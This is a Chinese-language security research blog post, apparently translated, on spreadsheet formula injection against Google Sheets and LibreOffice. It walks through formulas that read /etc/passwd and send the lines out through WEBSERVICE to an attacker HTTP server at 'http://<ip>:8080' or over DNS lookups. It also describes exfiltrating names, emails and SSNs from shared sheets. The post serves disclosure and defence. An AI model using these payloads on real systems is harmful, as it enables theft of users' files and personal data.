通过公式注入从电子表格中提取数据(一)

由于最近有一个客户端测试的机会，我才有机会利用带外数据（out-of-band，OOB）的方法，从电子表格中提取数据。不过要注意的是，我本文中描述的方法，都是假设我对电子表格的内容有一定的控制权限，虽然这些权限非常有限的，但我还是有可能对完整的文档或客户端(目标)系统进行访问。

为此，我粗略的了解了一下LibreOffice（是OpenOffice.org 办公套件衍生版）和Google Sheets（一种数据透视表），并分别找到了一些PoC。不过，我特别关注基于非Windows的应用程序，这是因为Windows的应用程序已经被研究烂了，我不想重复研究。

在这篇文章中，我会向大家介绍了来自NotSoSecure团队的Ajay（@ 9r4shar4j4y）和Balaji（@ iambalaji7）的研究。下面的PoC可能允许我使用相对简单的内置功能来获取潜在的敏感信息，甚至可以读取各自客户端系统上的文件内容。虽然目前还没有出现这方面的攻击案例，但我希望大家在看到我的文章后，可以了解一些潜在的攻击途径。

如果我希望获取实时数据，基于云的数据捕获可能是最好的选择。与基于客户端的攻击不同，利用云端攻击，能够快速连续的在表单中填充数据并接收实时响应。

至于攻击情景，可能会因攻击者的获取内容不同而有很大不同。如果黑客能够创建或上传CSV文件或类似文件到攻击目标中，那么他们成功攻击的可能性就非常大。先让我们来了解Google Sheets。

首先，我来介绍一些Google Sheets非常有趣的功能。

CONCATENATE：将字符串互相叠加：

IMPORTXML：从各种结构化的数据类型（包括XML，HTML，CSV，TSV以及RSS和ATOM XML Feed）导入数据：

IMPORTFEED：导入RSS或ATOM提要：

IMPORTHTML：从HTML页面中的表或列表导入数据：

IMPORTRANGE：从指定的电子表格导入一系列单元格。

IMAGE：将图像插入单元格。

基于Google电子数据表功能的文档，都有可能因为上述的这些有趣功能，而被黑客使用带外数据方式进行攻击。不过，提取数据的过程并不是一帆风顺的。老实说，在第一次试验中，我是失败的。失败的原因简单来说，就是Google提供了创建表单和接收回复的功能，这样以后用户可以使用Google Sheets访问。所以我试图通过在每个Google表单的评论部分提交恶意公式来利用这个访问权限。但是，Google会对提交的响应进行了安全性检查，并自动在公式前添加（'）撇号，从而停止公式的执行。

吸取了第一次的教训后，我在第二次的实验中就取得了成功，Google Sheets还提供了一些功能，允许用户向csv，tsv，xlsx等不同的文件格式中导入数据。而导入的数据不但可以使用新电子表格表示，也可以附加到现有工作表中。在本文的PoC中，我会将导入的数据附加到包含前一次响应的工作表中，以便我可以提取其他用户提交的数据。幸运的是，Google没有像在场第一次试验中那样执行相同的检查。具体提取步骤如下：

1．我会首先创建了一个带有有效载荷（公式）的恶意csv文件，该文件将连接A到D列的所有数据。然后，我使用这些详细信息为要发起攻击的服务器生成带外请求。

2.然后，我使用导入功能将csv文件导入Google Sheets，并将这些数据附加到现有工作表中。

3.一旦数据导入完成，我创建的有效载荷就会执行，并且我会在攻击服务器的HTTP服务器上监听到用户的详细信息，例如姓名，电子邮件和SSN数据。

希望这能给大家提供一个可以实现的代码片段，考虑到这一点，我将继续讨论这个问题，但接下来，将以LibreOffice为例。

在Linux环境中读取LibreOffice OS文件

本节重点介绍如何在Linux环境中利用CSV注入来窃取用户表格中的数据,由于目前网上已有许多与使用Excel开发DDE有关的博客、PoC和类似的博客，所以，我就不介绍了。但很少有涉及Linux环境中的办公应用程序研究的，这是可以理解的，因为Linux桌面的流行程度远不如Windows，而且我知道，黑客的攻击目标总是会瞄准使用最广泛，也最赚钱的终端。

在本文中，我想着重介绍一些简单的，但非常有趣的公式攻击，它们可以在Linux目标上被广泛使用。在进行测试时，我使用的是以下环境。

目前，有效载荷已在下列环境中成功测试过：

· Ubuntu 16.04 LTS和LibreOffice 5.1.6.2

· Ubuntu 18.04 LTS和LibreOffice 6.0.3.2

我首先尝试通过使用本地访问的公式来读取敏感文件，LibreOffice提供使用“file”协议读取文件。我创建了从本地/etc/passwd文件中检索单行的初始PoC，详细介绍如下。

有效载荷1：

上述有效载荷代表的意思是：‘file:///etc/passwd’#$passwd.A1——将从本地/etc/passwd文件读取第一行。有趣的是，似乎还可以使用http://来代替file:///查询远程资源。

需要注意的是，在初始导入时，系统会提示用户执行如下图所示的操作，在本例中显示的是/etc/group的输出内容。

导入后，每当文档重新打开时，都会提示用户更新链接。

顺便说一句，通过修改行引用(在本例中是A2)，我可以从文件中读取更多的条目。

虽然一切都很顺利，但我还需要一种来查看来自远程系统文件内容的方法，因为，我还不会在LibreOffice应用程序中查看这些已获取的结果。

为此，我特意了解了一下WEBSERVICE函数。实质上，我可以使用此函数连接到我控制的远程系统，然后向我们从本地/etc/passwd文件中提取的数据发送请求。显然，这些文件不会存在于目标主机上，但GET请求将包含所有有用的信息，并且可以通过攻击主机上的日志或控制台输出要访问的文件。

根据我的这些设想，我找到了以下PoC。

有效载荷2：

上述有效载荷的解读如下：

1.‘file:///etc/passwd’#$passwd.A1——将从本地/etc/passwd文件中读取第一行；

2.CONCATENATE(“http://<ip>:8080”,(‘file:///etc/passwd’#$passwd.A1))——连接IP地址并输出'file'

3.WEBSERVICE——将向攻击目标的主机发给定的URI请求；

我的攻击系统运行了Python的SimpleHTTPServer，所以当恶意文件在受害者系统上打开时，我的服务器就会发出请求并接收他们。

同样，我也创建了几个有效载荷来读取目标文件中的多行信息。如果空间不是问题，只需确保最后一个引用，即将#$passwd.A1设置为每行的增量，就可以通过在单个文档中嵌入多行来轻松实现此任务。以下PoC将提取并发送目标文件/etc/passwd中的前30行。

但是，实现相同目标的更简洁的方法是在单个公式中引用多行，如下所示。

在执行下面的有效有效载荷时，从/etc/passwd文件发送2行到攻击服务器。

有效载荷3：

上述有效载荷的解释如下：

1.‘file:///etc/passwd’#$passwd.AX——将从本地/etc/passwd文件中读取第一行和第二行；

2.CONCATENATE(“http://<ip>:8080/”,(‘file:///etc/passwd’#$passwd.A1)&CHAR(36)&(‘file:///etc/passwd’#$passwd.A2))——将攻击服务器IP地址与/etc/2/passlines行中的第1行和第2行（文件中的第2行）的输出连接起来，每个行都用$字符隔开；

3.WEBSERVICE - 将向我的攻击目标主机发送给定的URI请求

查看攻击主机，我可以在GET请求中看到/etc/passwd中的相应条目，在这个实例中由$字符（CHAR 36）分隔。

根据文件内容的不同，我可能会遇到长度的问题，此时特殊字符也可能在PoC中不起作用。

我会在下一个PoC中解决了这两个问题，这个PoC中，既没有强制性的DNS示例，也没有完整的OOB数据盗取;。

有效有效载荷4

上述有效载荷的解释如下：

1.‘file:///etc/passwd’#$passwd.A19——将从本地/etc/passwd文件中读取第19行；

2.ENCODEURL(‘file:///etc/passwd’#$passwd.A19)——对返回的数据进行URL编码

3.MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41)——类似于子字符串，对第1个字符到第41个字符进行数据读取，这是限制DNS主机名长度的一种非常方便的方法(FQDN上有254个字符限制，标签上有63个字符，即子域)。

4.SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)——用破折号替换％（URL中的特殊字符编码），这样就可以确保只使用有效的DNS字符；

5.CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) ——将文件的输出（经过上述处理后）与FQDN(我对主机具有权威访问权)域连接；

6.WEBSERVICE——将对这个不存在的DNS名称发出请求，之后我就可以在我控制的权威DNS名称服务器上解析日志或运行tcpdump等。

在发送此消息时，我可以通过我的服务器上的tcpdump来查看FQDN的查询结果，这包括来自/etc/passwd的第19行的编码数据，该服务器被配置为该域的权威服务器，如下所示。

如果你恰好在使用、测试或修改一个提供上传、下载、导入、导出CSV数据等的应用程序，那么这篇文章或许能帮到你。